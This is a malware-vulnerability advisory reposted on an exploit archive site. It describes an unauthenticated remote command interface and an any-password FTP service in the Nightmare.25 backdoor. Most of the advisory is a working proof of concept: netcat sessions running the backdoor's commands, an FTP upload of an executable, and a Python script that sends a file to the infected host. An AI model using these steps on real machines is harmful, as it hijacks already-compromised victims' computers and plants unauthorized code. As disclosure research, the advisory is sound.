exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Backdoor.Win32.Nightmare.25 MVID-2024-0687 Code Execution

Backdoor.Win32.Nightmare.25 MVID-2024-0687 Code Execution
Posted Aug 12, 2024
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Nightmare.25 malware suffers from a code execution vulnerability.

tags | exploit, code execution
systems | windows
SHA-256 | 913e7fbeebf6842756fdf04349d73c4d478f8bc2b97fff487bffb398416d08aa

Backdoor.Win32.Nightmare.25 MVID-2024-0687 Code Execution

Change Mirror Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/0fe8f37543e8face08941899add38e35.txt
Contact: malvuln13@gmail.com
Media: x.com/malvuln

Threat: Backdoor.Win32.Nightmare.25
Vulnerability: Unauthenticated Remote Command Execution
Family: Nightmare
Type: PE32
MD5: 0fe8f37543e8face08941899add38e35
SHA256: 591e348b2c1f25a23f0acf55ba10a71957683b54a5682902c2fa179ba278fff6
Vuln ID: MVID-2024-0687
Disclosure: 08/09/2024
Description: The malware listens on TCP ports 666, 5401 and 5402. Third party adversaries who can reach an infected host on TCP port 666 can issue commands made available by the backdoor. The FTPON command starts an FTP service on TCP port 21, supply any single character after the command E.g. "FTPON x". Furthermore, the FTP server allows for any username/password combination for authentication. Attackers can then upload their own executable to the victim machine using the FTP STOR command. This can undermine the initial adversary intrusion allowing potential takeover by a totally different attacking entity.

Commands available:
RUN (run programs)
FTPON x (starts FTP)
SHOWCHAT x
LOGOFF x (logs out current user)
KILLAPP
LISTAPP
KILL x (shuts down the backdoor)


Exploit/PoC:
nc64.exe 192.168.18.125 666

RUN MSPAINT.EXE
Program executed

FTPON x
FTP Port open

FTPOFF x
FTP Port close

SHOWCHAT x
Chat is visible (will launch a chat terminal on the slave)

HIDECHAT x
Chat is invisible

LISTAPP x
*File: Backdoor.Win32.Nightmare.25.0fe8f37543e8face08941899add38e35.exe - PID: 4284
*Process Hacker [DESKTOP-2C4IQJO\VICTIM]+ (Administrator)
*dump
*Administrator: Administrator Command Prompt
*Program Manager

KILL x
Server not anymore active

LOGOFF x


nc64.exe 192.168.18.125 21
220 P23h FTP Server ready.
USER x
331 Password required for x.
PASS x
230 User x logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP \
250 CWD command successful. "C:/" is current directory.
MKD TEMP
257 'C:\TEMP': directory created.
PASV
227 Entering Passive Mode (192,168,18,125,226,100).
STOR DOOM_SM.exe
150 Opening data connection for DOOM_SM.exe.
226 File received ok


from socket import *

MALWARE_HOST="192.168.18.125"
PORT=57956 #Calculated port for file transfers 226 * 256 + 100 = 57956
DOOM="DOOM_SM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()
print("By Malvuln");

if __name__=="__main__":
doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close